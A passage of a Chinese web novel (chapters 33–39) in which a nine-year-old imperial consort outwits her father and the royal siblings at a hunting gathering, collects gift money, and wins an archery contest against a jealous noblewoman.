两人到的还是晚了,除了司徒擎和俪妃,其他人早就坐满了。
偌大的空地上摆起了各式靶子和弓箭,还有擂台,看样子今日的比赛活动是少不了了。
谢元棠初次见到这些,趴在司徒砚怀里好奇地东张西望,时不时地问两句。
坐台上,看见她这副不成体统的样子,谢兆青脸都青了。
本来这次还能带谢雨沫和魏莲过来,但因着上回谢元棠回门的事,他也不能带人了,以至于每个官员身边至少都有个家眷,只有他……
堂堂丞相,孤身一人,走到哪儿都能听见别人窃窃私语,说上回回门谢家怎么怎么丢人,气得谢兆青恨不得当场离去!
此刻看见谢元棠,谢兆青只希望这女儿没看见他,他实在不想跟她沾上关系。
可惜事与愿违。
谢元棠大眼睛咕噜噜一转,她第一眼就看见了她这个一脸倒霉相的活爹!
“哎呀!
她一声清亮的喊声,登时吸引了所有人的目光。
谢兆青更是心里一抖,一股不好的预感瞬间袭来!
下一秒,他就听见了那道最不想听见的声音。
“哎呀,这不是我的好大爹嘛!
谢兆青:“……
撇开那些恩怨不谈,谢元棠这会儿看见谢兆青是真高兴。
要说在座谁没有几个后台,数来数去,就她跟司徒砚最势单力薄了!
就算有个言关清愿意护着他们,但怎么看都还是有点偏弱。
幸好啊!
幸好她的好大爹也来了!
此等重要场合,怎么能少了他这个背锅侠呢!
第34章 谢元棠是个疯的!
谢元棠让司徒砚将自己放下来,慢慢走到谢兆青跟前,笑容灿烂,一副“父女情深”的样子,甜甜地叫道:“爹呀,可算见到你了,昨天棠棠昏倒没见到爹爹,还以为爹爹不在乎我这个女儿了呢~”
妈的这话是能当众说的吗!
就算我不在乎你,也不能当着所有人的面承认啊!
谢兆青脸色僵硬,心里将谢元棠骂了个遍,脸上却不得不扯出干硬的笑容道:“哪,哪有……为父事忙,没来得及去。”
“嗯嗯,棠棠明白的,爹爹一定是在跟工部侍郎陆大人聊天是吧?”
隔壁的工部侍郎:???
关他什么事?
陪坐在司徒凤跟前的陆紫珊听见这话,手指一颤,打翻了茶盅。
这谢元棠小小年纪,怎的如此记仇!
众人都好奇跟工部侍郎陆家有什么关系,谢元棠却又不说了,转过头跟司徒砚一块儿走到他们的坐席上坐下。
路过陆紫珊的时候还亲切地跟她打了招呼:“紫珊姐姐好啊。”
陆紫珊:“……”不好,求求你别cue我了!
众人狐疑地目光在谢兆青和陆家中间转来转去,心思多的已经开始想,难不成工部侍郎投靠了谢兆青?
可他不是六皇子党的吗?
司徒凤讽笑道:“谢元棠,谁不知道你谢家那点事,就算你再怎么装,也改不了你被谢家放弃的事实。”
她这话声音不高,还故意等谢元棠走近了才说,也就刚刚好够皇室这边的人听见,另一边的外臣是听不到的。
但她没想到谢元棠是个疯的!
几乎是她话音刚落地,谢元棠就转头跟谢兆青大喊:“爹啊!三公主说你要放弃我了,说冲喜一事只是谢家送了个弃子糊弄皇室,是这样吗?”
司徒凤:“……”
虽然我的话是这个意思,但你有必要翻译的这么清楚吗!
还吼那么大声,是想让所有人都听见是吧!
谢兆青:“……”
就算这个意思,难道我能承认还是怎么滴!
我堂堂丞相,怎么沦落到被一个九岁小丫头拿捏的地步!
心里恨归恨,谢兆青还是咬着牙开口:“公主玩笑而已,谢家对吾皇忠心耿耿,元棠能和五殿下
夫妻和睦,更是谢家所愿。
谢元棠顺杆爬,笑嘻嘻道:“三妹妹听见了,以后你和紫珊姐姐要是再欺负我,我爹可不会善罢甘休的,谢家也不是摆设!
陆紫珊:“……求求了,别带我了行嘛!
工部侍郎倒吸口凉气,怎么还关他陆家事了!
司徒凤被堵得脸都黑了,皮笑肉不笑地道:“本公主何曾那么说,你听错了。
谢元棠眨眨眼,脆生生道:“三妹妹别欺负嫂子年纪小,嫂子听得懂好赖话,你方才分明就是这意思!
一句“嫂子,成功又给司徒凤干趴了!
司徒凤气得恨不得当场摔杯子!
九岁的嫂子!
她这辈子都不想再听见谢元棠自称她“嫂子,简直比打她耳光还要侮辱她!
小小的收拾了司徒凤,谢元棠才心满意足地回到她和司徒砚的座位上。
经过她这一番“认爹
本来还有些跃跃欲试,想要欺负她和司徒砚的人,也都咽了声。
众人你看我我看你,私下交换着目光。
先前他们都道这位九岁的小皇妃能获得圣宠,那全是因为运气使然。
如今看倒也不全是,就这一张俐嘴,怕是再来几个司徒凤都说不过她。
怪不得一向势弱的五皇子敢来围猎场了,带着这样一位小皇妃,那可不是跟带了个无敌小霸王似的嘛!
而且人还有个丞相爹,还有个太傅舅!
这还怎么打?
打赢了对上两个顶级文官,打败了还要落一句活该!
谢元棠可不管他们怎么想,大大方方地坐下以后,就开始了认人环节。
不错,认人!
说起来,这还是她“嫁给司徒砚以后,第一次正式见到司徒家这些亲戚。
“五弟妹怕是还不认识二皇兄吧?五弟,这可
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就是你的不是了。
“就是就是,五哥快点将家里的兄弟姊妹都介绍认识认识。
司徒烨兴匆匆的起了话头,司徒煦紧接而上。
两人都老神在在地坐在椅子上,摇着折扇,一副看热闹不嫌事大的欠样!
毕竟一个连乌骓马都折出去了,一个舍出去了温玉,为的可不就是今日看这
出好戏嘛!
司徒砚犹豫了下正想小声跟谢元棠说着对面坐的都是谁谁知谢元棠已经跳下椅子拉着他站了起来。
“哪位是二皇兄?”
司徒烨和司徒煦想看戏既包括了其他人的戏也想看司徒砚和谢元棠出糗的戏。
可惜他们料错了一点那就是谢元棠根本不怯场!
或许该说她跟他们同样期待今日的场合!
毕竟份子钱那么多呢!
谢元棠一双大眼睛亮晶晶的闪烁着精光看向坐成一排的“亲戚”们。
要是眼神能够实体化就能清晰的看见她这会儿的大眼睛里写满了“银票”两个字!
司徒砚先带着谢元棠走到二皇子司徒冉跟前:“这是二哥。”
谢元棠听红蕖和白芙提过二皇子司徒冉端秀儒雅笑如三春阳夏月泉一身气度雅致如竹甚至私下不少人说他比太子司徒阆更像太子。
谢元棠看着眼前的司徒冉心中迅速打了个“笑面虎”的标签然后膝盖稍曲低头福手:“元棠见到二皇兄。”
“五弟妹不必多礼都是自家人何须客套。”
司徒冉微笑着站起身抬手拍拍司徒砚的肩膀道:“听闻五弟昨日受惊弟妹可跟着受伤为兄心里实在担忧今见你们无视心里便也放心多了。”
顿了顿
话还没说完司徒冉就看见谢元棠变魔术似的从她的碎花小挎包里掏出了一个小本本和一支炭笔。
一只小手翻开小本本一只小手握着炭笔大眼睛眨眨灵动地望着他:
“二皇兄稍等我记下账你方才说这是什么来着?”
司徒冉:“……这是给你们的小礼物额外的还有重礼当份子钱。”
第35章 黄金万两,不如性命相依!
就这样,谢元棠顺利地从司徒冉处得到了厚重的份子钱。
接着,她又抱着小本本开始走向下一位。
“二皇姐?哎呀呀二皇姐真漂亮,初次见面……”
“什么?三皇兄人虽然没来,但礼托你送来了?哎呀呀这么客气,等等我先记小本本……”
“嗯嗯?太子皇兄和大皇姐也送了份子钱?哎哟这可怎么好意思!”
一场本来针对谢元棠和司徒砚的“欺负大会”,硬生生被谢元棠搞成了“拼礼物大会”。
什么?
不送行不行?
当然可以,只要你能忍受全场上至皇子下至官宦小姐的眼神,能忍住他们当面的阴阳怪气。
尤其还要忍住谢元棠抱着小本本高调的询问声。
“二皇兄,地契的契字怎么写啊?”
“四皇兄,红宝石是不是很值钱呀?”
“三妹妹,他说这个铜镜很贵,难道比你那个佛音阁扳指还贵重吗?”
“……”
都在贵圈混,花钱事小,丢面子事大。
是以当谢元棠明晃晃开始“唱票”时,这场拼礼大会的兴致就变了。
甚至到后来,大家开始莫名的期待,谁在谢元棠这个小本本上的排名最高!
司徒凤瞪着谢元棠:“你都会记账了你不会算数吗?凭本公主的佛音阁扳指,怎么也能排到前三了吧!”
“那可未必。”司徒烨勾了勾唇,“本皇子的乌骓马也是世所罕见。”
司徒煦眼珠一转,看着司徒冉道:“二皇兄觉得,你和太子皇兄的礼谁排第一?”
司徒冉:“……”
他要是说自己排第一,岂非让人以为他有心争储?
但若说自己不如太子,又如何令跟着自己的人心服?
司徒冉微笑着扫了眼司徒煦:“六弟这话问错人了,该问五弟才对,我们送礼只是心意,能五弟心里去才算厉害。”
“五弟觉得,谁的礼送的最得你心呢?”
谢元棠顿时僵住。
卧草!
回旋镖扎自己身上了!
这种答谁都得罪人的问题,她怎么敢让傻夫君回答!
谢元棠眨眨眼,正想代司徒砚回答,忽然听见一道浑厚的笑
意传来:“怎么这般热闹?”
与此同时曲培高声:“皇上驾到俪妃娘娘驾到!”
众人急忙行礼司徒擎摆手让众人起身又扫了眼站在最中央的司徒砚和谢元棠笑着道:“小五和元棠啊在说什么呢?朕仿佛听见礼物什么的。”
谢元棠眼珠子一转抢在众人之前开口道:“父皇二皇兄问我夫君谁送的礼最让他喜欢您说二皇兄是不是坏我夫君这么老实的人说了哪一个不都得得罪一大票人嘛!”
“呵。”
司徒擎挑了挑眉轻笑出声往后一靠带着两分看戏的轻松看向司徒砚:“朕也想知道砚儿你们收了这么礼当中你最喜欢谁的啊?”
谢元棠:“……”玩脱了!
司徒砚漂亮的桃花眼微微眨了眨修长的手指抵着下巴思索片刻坦诚道:“父皇刚才收的礼太多了我记不住能等我翻翻看吗?”
“嗯?”
司徒擎愣了下好笑道:“你们这是收了多少礼啊?”
“也罢给你时间你慢慢看看完给朕一个答复。”
说罢他还特意盯着想要暗中提醒的谢元棠道:“小元棠不准提醒不然朕就罚你上交所有份子钱!”
一句话谢元棠两只小手瞬间捂住了嘴巴疯狂摇头。
不说不说肯定不说!
钱才是最重要的!至于夫君……
没关系这次答错只要有钱
九岁的小姑娘站在那里小脑袋摇成了拨浪鼓双髻上的铃铛配饰发出清脆的响声。
惊大的双眼为了表示清白直往上翻连看都不看一眼司徒砚。
“噗!”
司徒烨没忍住笑出声来指着谢元棠道:“真没想到五弟你的地位还比不上那点份子钱啊!”
其他人也觉得好笑偏偏司徒砚一本正经地点头认真道:“份子钱有钱我没钱的。”
众人顿时哄笑出声。
坐在另一侧的谢兆青看着傻不愣登的司徒砚眼中的嫌弃都快溢出来了。
和他相反言关清看着自家外甥和外甥的小媳妇越看心中越满意。
众目睽睽之下司徒砚埋头在谢元棠的碎花小挎包里翻来看去一会
儿记不清了还拿出来问。
“二哥,温泉山庄离这里远吗?
“二姐,三
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哥给的酒楼里好吃的多吗?
“……
问了一圈下来,连司徒擎都脸色古怪了。
好家伙,这俩人收礼收的,比他都阔绰啊!
半晌,司徒砚终于放下小挎包,抬头看向司徒擎:“父皇,我看完了。
司徒擎:“那你能告诉父皇,你最喜欢谁送的礼物了吗?
“咕叽~
众人紧张地不约而同齐齐咽了口口水,齐唰唰将目光看向司徒砚。
玄昭国的痴傻五皇子生平第一次受到这样的关注,却因为身旁的人,并没有紧张无措,只是大方地站在那里任人端详。
修竹似的身形如高山凛雪,侧颜刀削的弧线比最美的瓷器还要吸引人的目光,一双桃花眼含情敛魅,摄人心魂。
一时间,所有人都不由认同了那句话。
五皇子虽然痴傻,却实在美丽!
“回父皇,大家送的砚儿都很喜欢。
司徒砚认真地道:“因为都很值钱,娘子很开心,娘子开心,砚儿就喜欢。
司徒凤非要问出个一二三来,打断他的话道:“那你最喜欢谁送的?
司徒砚没有多犹豫,指指司徒烨道:“最喜欢四哥送的小乖。
无缘榜首的众人:“……
突然得奖的司徒烨:???
一匹乌骓马,虽然价值连城,但……干过了太子和二皇兄?
这答案实在有点在众人意料之外,连谢元棠都有些惊讶地看着他。
司徒擎问出了所有人心中的疑问:“为何最喜欢乌骓马?
司徒砚低头看向谢元棠,大手牵起她的小手,目光温柔,声音似春雪初化:
“因为小乖救了我和娘子的性命,所以我很感激四哥。
黄金万两,不如性命相依。
司徒擎微怔,在这一刻,他仿佛从这个五儿子身上看见了最干净的赤子之心。
众人一时都没说话,连得了榜首的司徒烨一时都没吭声。
偏偏就在这个时候,有人非要开口:“臣妾倒是好奇,元棠,你最喜欢哪个礼物?
谢元棠看看挑事的俪妃,甜甜一笑,小手捂紧了碎花小挎包,糯糯道:
“哎呀呀~俪妃娘娘这话说滴……都是大人了做什么选择题?
“我都要!
第36章 大佬棠就没有不擅长的东西!
有了这么一场“友好交流”,接下来的围猎比赛,基本没人敢主动招惹谢元棠和司徒砚了。
谢元棠乐嘻嘻地抱着自己小挎包的“战礼”,小手抓着把瓜子儿跟司徒砚分着吃。
反正他俩什么都不会,来这里就是纯来收钱……哦不,来学习的!
前两场是比射击,分男子组和女子组,男子组自然是几个皇子当先。
女子组倒是让谢元棠有些意外,拿第一的既不是二公主司徒雅,也不是三公主司徒凤,而是虞卿卿。
谢元棠看着一身紧衣束装的虞卿卿,心说到底是虞国公府的人,除了虞龙一身好武艺外,女子也不遑多让。
这么一想,她不禁想起红蕖提到的冷家。
不知冷枕山和虞国公当年谁更胜一筹?
正想着,谢元棠突然察觉一道敌意的视线冲她看来。
虞卿卿挑衅地看着她:“听闻之前五皇子妃放出豪言,敢来参加围猎赛,难不成所谓的‘参加’,就是坐在这里吃瓜子不成?”
谢元棠:?
她狐疑地眨眨眼:“虞小姐看起来好生气的样子?难道是因为本妃方才收你的礼太多了生气吗?我可以还你的,真的!”
虞卿卿气得咬牙,她就是看不惯谢元棠这种小人得志的样子!
“那点钱本小姐根本不看见眼里,你废话少说,有胆子就跟我下场一赛,要么就低头认输,说一句你不如我!”
本来谢元棠就备受关注,虞卿卿这么当众挑衅,自然一下子就引起了注意。
言关清眉头微皱,当即就要出声:“皇上,此事……”
“言卿不必着急。”
司徒擎淡笑着摆摆手,还有心情吃了俪妃递到嘴边的水果,笑着道:“且看看小丫头如何应付。”
言关清嘴角微抽。
他算是发现了,自从看出谢元棠那股子聪明劲儿以后,皇上是越发的看戏看上瘾了!
谢元棠眨眨眼,上下扫了眼虞卿卿,小手食指一勾,反手指着自己:“你要跟我比?”
“正是!”
谢元棠觉得不可思议:“虞家小姐,方便问一问,你今天贵庚啊?”
谢元棠是真想不通,虞卿卿怎么会这么没脑子,跟她一个崴了脚的九岁小女孩比
赛,就算赢了,她能有面子吗?
“哼,就知道五皇子妃要拿年龄说事!”
虞卿卿轻蔑地看了眼谢元棠:“本小姐知道你才九岁,可既然坐了五皇子妃这个位子,不管你几岁,代表的都是五皇子的颜面。”
“你也别说我欺负你,本小姐九岁时可十米穿杨,这在整个京城都是知道的,你下场,只要能中靶,就算你赢。”
谢元棠“哦”了声,摇摇头道:“不成,没彩头,干活没劲儿。”
虞卿卿:“……”
众人:“……”
工部侍郎逮着机会,跟谢兆青道:“丞相大人的千金真是……个性鲜明啊!”
谢兆青脸色铁青,瞪着谢元棠道:“元棠不可无礼,你如何能比得过虞小姐?还不认输!”
谢元棠翻了个白眼,指指谢兆青,对虞卿卿道:“看见没,我应战的自取其辱,赢了是侥幸,输了是活该,怎么都不划算。”
虞卿卿皱眉:“那你当如何?”
谢元棠微微一笑,转头看向司徒砚:“夫君,你会射箭吗?”
司徒砚摇头,谢元棠顿时一拍手道:“那这样,我要是赢了,就要你……哥哥虞龙,在第三场林中自由围猎时帮我夫君,教我夫君射箭!”
“什么?”
没想到将虞龙给扯了进去,虞卿卿顿时大惊:“凭什么?”
谢元棠打了个哈欠,又磕起瓜子来:“没有凭什么,这就是我要的彩头,你敢,我就应战,不敢,就自己一边儿玩去哈。”
虞卿卿气得小脸憋得涨红,司徒烨在一旁思索片刻,对虞龙悄声说了什么。
虞龙眉头一皱,站出来道:“小妹跟她比,输了我认便是!”
虞卿卿这才仰起头看向谢元棠:“下来应战!”
“别催别催,我脚崴了,走得慢撒~”
谢元棠跳下椅子,刚走两步,司徒砚就拉住她的小胳膊。
他没说话,只是看着她的双眼满是担忧。
他是傻,但他明白,谢元棠做的一切都是为他好,这个时候应战,也是为了让别人不敢小瞧他们。
司徒砚颓丧地低着头,好像淋雨的大狗狗,满是落寞和自责。
“都是我不好,我太没用了。”
谢
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元棠拍拍他的大手,笑着道:“夫君不要担心,你帮我剥一百粒瓜子,剥完我就回来啦!
“嗯,帮娘子剥!
司徒砚乖乖点头,谢元棠又将小挎包递给他:“看好了哟~谁看也不给看,父皇看也不给!
“嗯,不给!
司徒擎:“……得,被小东西嫌弃了!
谢元棠交代完,才慢腾腾走下场地。
她个子低,又崴了脚,下场的时候跳不下那个高高的台阶。
虞卿卿先一步跳下,好整以暇地看着她:“皇子妃这是怎么了?该不会还要人抱着下来吧?
她本意是嘲讽谢元棠,谁知谢元棠是个二皮脸!
只有她嘲讽别人的时候,没有别人能打击到她的!
几乎虞卿卿话音刚落,谢元棠就顺杆怕,朝她伸出了两只小胳膊,脆生生道:“卿卿姐姐真好,愿意抱我下来!
虞卿卿:“我什么时候说……
谢元棠:“哎哟我的脚好疼啊,不知道还能不能比赛了呢~
虞卿卿:“……
她黑着脸上前,没好气地瞪了眼谢元棠:“抱!本小姐抱你下来行了吧!
谢元棠咧着小酒窝:“谢谢姐姐,没想到姐姐虽然长了一张恶人脸,心眼还是没有坏透呢~
虞卿卿:“……
好像把她扔地上,再跺两脚!
两人走上场地,距离靶子不过十米。
虞卿卿先轻松地射中三靶,每一靶都正中圆心,然后将弓箭递给谢元棠,得意地道:“你只要在十箭之内射中一次三环之内,我都算你赢!
“哇!虞小姐好大气!
“听说虞小姐九岁那年就能每一靶射中靶心了!
“真的,这都赢不了也太丢人了!
“还收了人家那么多钱,啧啧……脸皮可真厚啊!
谢元棠听着周围传来的议论声,微微一笑,接过弓箭。
撤脚,弓步,拉弓……
谢元棠转头笑看着虞卿卿:“不是,本妃真的好奇,谁跟你说我不善骑射了?
话音落。
“嗡!
一箭离弦!
谢元棠看都不看靶子,淡定收弓站定。
另一头传来太监惊讶的汇报:“十环!正中靶心!
大佬棠就没有不擅长的东西!
第37章 构陷皇室!该诛九族!
“什么?”
太监的话让所有人都惊呆了,更是让虞卿卿一整个大破防!
“不可能!”
虞卿卿脸色狰狞,连手里的弓箭都摔了,尖声道:“这绝对不可能!”
她居高临下指着谢元棠,连面子上的虚伪客套都不装了:“她就一个九岁的小屁孩,她怎么可能!”
太监战战兢兢地说:“可是……这种可能就是发生了啊。”
“放屁!”
虞卿卿不信邪地走上前:“你会看靶吗你?该不会收了她的钱吧!”
事实上,不止虞卿卿这么怀疑,连周围的一众看客也都是这样的想法。
毕竟在他们的预设中,谢元棠就是一个忽然走了狗屎运的野雀儿。
一个被农妇养大、粗俗不堪、贪婪无度的废物!
可是就这样一个废物,竟然真的赢了虞卿卿!
这搁谁谁能不气!
“黑赛黑赛!她肯定作弊了!”
“刚才她射箭那么快,咱们可都没看清她的小动作!”
“说不准她就是蒙的呢?她一个在乡野长大的野孩子,怎么可能懂射箭!”
听着周围人的议论,司徒擎微微眯眼,转头看向谢兆青:“丞相,元棠可会射箭?”
“这……据臣所知,她不会。”
谢兆青觉得简直丢死人了,大庭广众的射不中就算了,竟然还作弊!
他是半点不信谢元棠能靠自己的能力赢比赛的,当下起身朝司徒擎行礼,而后转身走到台前,怒喝道:
“谢元棠!技不如人就坦荡认输,谁教你耍小聪明作弊了?简直丢我谢家的脸!”
见亲爹都站了出来,众人看着谢元棠的眼神更嘲讽了。
“我就说她是作弊了吧,连谢丞相都不挺她了!”
“就是,难道谢丞相连自己的亲生女儿会什么都不知道吗?”
周围的嘲讽声越来越大,惹得司徒砚从剥瓜子中抬起头,皱眉扫了一圈,绝美的脸上浮现出怒意来。
他站起身,也不看司徒擎,直直走向正在跟人议论的陆紫珊。
陆紫珊一怔,见他这样不顾众人的走向她,尤其被那双桃花眼一瞧,本能地红了脸:“殿,殿下……”
“你说娘子作弊,
你有证据吗?
陆紫珊:“……
司徒砚冷声道:“如果我娘子没有作弊,你刚才所言就是构陷皇室!该诛九族!
陆紫珊脸色一白,顿时腿一软跪在地上:“我,我……
司徒砚说完不看她,转头扫向其他说闲话的人:“你们,能为你们方才的话负责吗?
那双桃花眼中此刻再无和煦,只有冷冽和隐怒。
他不会解释,不会说出更多有道理有逻辑的话来。
但他记得谢元棠教过他的:
出事的时候不必解释,只管拿他皇室的身份去压,哪怕他傻,但在整个玄昭国,除了姓司徒的,也没几个人敢反抗他!
众人被他冷寒的视线一扫,都不自觉避开他的目光,没有人敢开口。
那可是构陷皇室的大罪!
谁又能担得起。
“五殿下,微臣知您袒护元棠,但她确实没学过射箭,方才肯定是……
一片安寂之中,谢兆青淡淡开口,只是话才说一半,就被司徒砚打断。
“你当真了解她?
司徒砚直视着谢兆青:“那你说她最爱吃什么菜,她会写哪些字?
谢兆青:“……他怎么知道!
见谢兆青黑着脸沉默,一旁的言关清这才微笑开口:“看样子谢丞相除了宠妾灭妻,根本就不了解自己的亲生女儿啊。
毒舌一出,专打七寸!
谢兆青一口老血闷在胸口,转头红着脸朝司徒擎跪下:“皇上,臣……臣惭愧……
“好了,都不必说了。
司徒擎看戏看够了,才一摆手道:“是非曲直,让她再赛一场不就行了?
他看向司徒冉:“冉儿,这次,你同曲培下去监看。
“儿臣遵旨。
司徒擎吩咐完,看向还站在那里皱着眉头的司徒砚,好笑道:“怎么了,你还不满?
司徒砚张了张口,他是不满,但他解释不好为何不满,就觉得自家娘子受了委屈。
还是言关清开口:“殿下稍安勿躁,陛下自有决断。
司徒砚这才点点头勉强坐下,只是瓜子也不剥了,紧张地盯着看台。
司徒
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冉和曲培走下赛场,将司徒擎的口
谕说了,虞卿卿自然不会反对,还得意地看着谢元棠:“这次我非要盯紧你,看你还敢做什么小动作!”
谢元棠眨眨眼,根本不理睬她,只看向曲培道:“公公,棠棠脚不好,烦请公公代我跟父皇说一下我的态度呗。”
司徒冉挑眉,惊讶地看着她:“你……还有态度?”
曲培倒是毫不意外,这位小皇妃总是出人意料。
谢元棠伸出小胳膊给两人看:“我力气小,拉一次弓已是力竭,再来一次万一伤了怎么办?我可刚崴了脚,总不能再断只手吧?”
淡黄色的袖子微微往上卷着,露出细小白皙的手腕,好像两根手指就能捻断般,让人无话可说。
司徒冉沉吟道:“那你当如何?”
谢元棠笑了,小酒窝藏匿着精明的狡猾:“所以二哥也认可,再比一场是我吃亏的对吧?那我亏都吃了,彩头难道不该加一加吗?”
司徒冉:“……”合着在这儿等着呢!
谢元棠斜一眼虞卿卿,又隔着看台指向虞龙:“方才的彩头是第三次围猎虞龙教我夫君射箭,这次我若赢了,我便要他虞龙当我夫君七日保镖!”
“什么!”
虞卿卿炸毛了:“谢元棠,你别太过分!”
谢元棠淡定地看她一眼,两人有着身高差,但谢元棠真正冷脸时气场却是一点都不输。
她小手背在身后,冷眸看向虞卿卿:“虞卿卿,是你别太过分,本妃一再原谅你直呼本妃名讳,还容忍你的指控和羞辱,更是拼着手腕受伤跟你重比,不过是加个彩头而已,你怕什么?”
“除非你一早就清楚本妃方才是真本事,故意污蔑本妃,否则你为何怕本妃赢你?”
“我……你胡说,我没有!”
虞卿卿眼神闪烁,但被司徒冉盯着,却又说不出话来。
司徒冉温润的目光在两人之间逡巡来回,眼中暗芒轻闪,微笑道:“五弟妹所言有礼,便由我去代你向父皇说吧。”
司徒冉转身走回看台,嘴角的弧度越来越深。
能打击到老五没什么要紧,但若能打击到老四的臂膀,那可就太值了!
五弟妹,你可别让我失望!
第38章 虞卿卿,你!不行!
“哈,她这样说?”
司徒擎乐出声来,转头同俪妃道:“瞧瞧,半点亏都不肯吃,朕就说她鬼灵精吧!”
俪妃莞尔附和:“可不是么,就是……委屈了虞小公爷。”
司徒擎别有意味地扫了眼脸色愤愤的虞龙:“此事元棠说得也有几分道理,她一个九岁孩童,敢于应战已是吃亏,虞龙,你觉得如何?”
皇帝都盖章了谢元棠的话有道理,虞龙哪敢有意见,连忙道:“虞龙遵旨,若她再赢,定愿赌服输。”
“好!这才是我玄昭的好儿郎!”
司徒擎爽朗大笑,大手一挥道:“就说朕应了,让谢元棠再比!”
司徒冉将旨意传达回去,谢元棠朝他一拱手,小脑袋歪了歪甜甜地叫道:“棠棠谢过二哥。”
这次司徒冉站在谢元棠身侧,曲培则站在靶子那头,还有几个太监也站在两侧,确保绝不会出错。
比赛开始,仍是虞卿卿先,她这次没发挥好,三箭同出,却只有两箭中靶。
射完后,虞卿卿冷着脸盯着谢元棠:“该你了。”
她要亲自戳破这小屁孩的作弊手段,看她再如何猖狂!
“啧啧~”
谢元棠叹了口气:“看到你如此执着,实在是让人忍不住,想送你一个手势。”
她微微笑着,慢慢伸出手,朝虞卿卿比了个大拇指。
夸她?
虞卿卿一愣,还没反应过来,就看见她手腕一翻,大拇指朝下!
虞卿卿:“……”
谢元棠笑得嚣张,话更嚣张:
“虞卿卿,你!不行!”
虞卿卿气得门牙都快咬碎了,捏着拳头道:“谢元棠!”
“别太快破防,等我射中,跟你哥一块儿破防也不晚!”
虞卿卿:“……”
一口淤血涌上喉咙,直气得人七窍颤抖,灵魂升天!
谢元棠口头爽完,才慢条斯理地拉开弓箭。
这一次,每一个步骤她都做得极慢,还挑衅地看向虞卿卿:“看好了,这一步弓步,没作弊吧?”
“拉弓,你也会吧!”
“我开始射了哦,你可别眨眼,别等我射完又不认账了哦!”
虞卿卿黑着脸,一旁的司徒
冉都无奈地揉了揉太阳穴。
这个五弟妹,当真是……知道怎么气人的!
“五弟妹,我看着呢,你快射吧!
废话真多,没看见虞卿卿头顶都快冒烟了!
谢元棠这才傲娇地一扬头,拉满弓,搭弦,瞄准。
“嗖!
一声清脆的破空声后,那箭头再次稳稳地射中靶心!
谢元棠射完,转头看向虞卿卿:“看见了?服吗?
“哎呀你不服的话,本妃也不是不可以再跟你比,只是你哥还输得起吗?
“再比下去,他就得签卖身契给我了哟!
虞卿卿绷紧唇:“谢元棠,你少得意!
“我就得意!你管我!
谢元棠嘻嘻。
“……
虞卿卿不嘻嘻。
谢元棠冲她比了个鬼脸,才转身跟着司徒冉往回走。
虞卿卿走在最后,看着谢元棠小人得志的身影,忽然怒上心头。
这一刻虞卿卿失了理智,只想让谢元棠付出代价!
毁了她!
这个念头闪过,在快走到台阶的时候,虞卿卿抬手,一把就朝谢元棠推了过去!
那高台足有一米高,谢元棠身高才一米出头,这要掉下来虽不至于丧命,但磕个轻伤绝对是没问题的!
“娘子小心!
看见这一幕,看台上司徒擎和司徒烨等人都站了起来,司徒砚想也不想就冲下来,司徒冉亦闻声回头。
说时迟那时快!
就在虞卿卿胳膊推过来的同时,谢元棠“恰好回头!
下一瞬,她想也不想,反手抓紧虞卿卿的胳膊,扑过去抱紧了她!
看起来就好像是她惊慌失措才会如此反应,只有虞卿卿看见了方才谢元棠眼中的冷意!
紧接着,两人自高台跌下!
或者说,虞卿卿自高台跌下!
而谢元棠只是砸在了虞卿卿这个肉垫上,一丁点伤都没有,落地后还自带缓冲,在她身上砸了两下!
“唔~
虞卿卿吐出一口闷血!
她也是不明白,为什么刚才的过程中她本来是在上方的,怎么就被谢元棠反压在下了!
虞卿卿正要踢开谢元棠,谢
元棠却先她一步踉跄着站起身。
“哎呀~头好晕,脚脚好疼~
小小的人儿委屈兮兮
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地说着,眼看站都站不稳,司徒冉连忙向过来扶她。
却看见她一个踉跄,“恰好往后退一步!
“恰好一屁股坐在虞卿卿脸上!
司徒冉:“……
虞卿卿:“……
“哎呀~怎么站不稳呢?
谢元棠再次摇摇晃晃站起身,这一次,虞卿卿连忙一个翻滚滚出老远,哭着瞪着谢元棠:“你别过来啊!
谢元棠歪歪头,指着她道:“虞卿卿,你脸上怎么有个印子?还是个分两瓣的印!
司徒冉嘴角抽搐。
你一屁股压下去,能不分两瓣吗!
“娘子,你受伤没有?
司徒砚这会儿才跑来,蹲下担心地打量着谢元棠。
谢元棠笑了笑:“没有呢,夫君,我赢了哦!
司徒砚点点头,看都不看其他人,弯腰将谢元棠抱起来。
众人这才回到看台,司徒擎目光扫过,在虞卿卿脸上的屁股印上停顿片刻,轻咳一声移开目光。
不是他当皇帝的为老不尊,实在是……忍不住不看!
其他人也若有若无地看着虞卿卿的脸,一个个肩膀微抖,憋笑憋得着实辛苦!
司徒凤更是指着她问:“虞卿卿,你脸上是什么妆容,看起来挺别致的!
虞卿卿红了眼眶,转头瞪着谢元棠不说话。
“咳……好了!
司徒擎再次清嗓子(憋笑),他看出虞卿卿是故意推谢元棠,但谢元棠那一屁股坐得也够本了,所以没再揪着这事不放,只问曲培:“曲培,如何?
曲培这会儿才开口:“回皇上,靶子奴才带回来了,小皇妃确实射中十环,奴才等人都眼睁睁瞧着呢。
“儿臣作证,五弟妹全程都坦荡清白。
司徒冉也开口:“相信虞小姐也看清了吧。
虞卿卿脸色难看至极,但司徒擎目光扫过来,她不得不开口:“臣女……认输。
司徒擎又看向同样脸色极差地虞龙:“虞龙,你呢?
“小皇妃身手过人,虞龙……心悦诚服。
谢元棠看着兄妹俩这么爽快就认输,还有点遗憾:“其实不认输也能再比的,签卖身契就行啦!
虞龙:“……
虞卿卿:“……
虞老国公:“……
就是说,全场姓虞的,一说一个不吱声!
第39章 到底谁说这位五皇子嘴笨的?
虞龙看着满脸跃跃欲试,就差把“卖身契”三个字写脸上的谢元棠,没好气地咬牙道:“小皇妃说笑了,虞龙愿赌服输,心甘情愿给五殿下当七日保镖!”
说到“心甘情愿”四个字,他还特意加重了语气,生怕谢元棠听不出来似的。
谢元棠耸了耸纤瘦的肩膀,一摊小手道:“那好吧。”
虞龙气哼哼地坐下,司徒烨别有意味地看着谢元棠道:“倒是不知道五弟妹竟如此深藏不露,不知是师承何处啊?”
“什么是师承呀?”
谢元棠天真无知地问道。
“就是你的老师是谁,谁教会你射箭的?”
谢元棠眨眨眼,大眼睛咕噜噜一转,下意识看向谢兆青。
被她那双乌黑的大眼睛一盯,谢兆青顿时心脏就是一跳!
心里有个声音大喊:完了!死丫头又要坑他!
果不其然,谢元棠樱红的小嘴一瘪,可怜兮兮道:“棠棠以前长在乡野,连吃都吃饱,穿都穿不暖,哪有什么老师呀!”
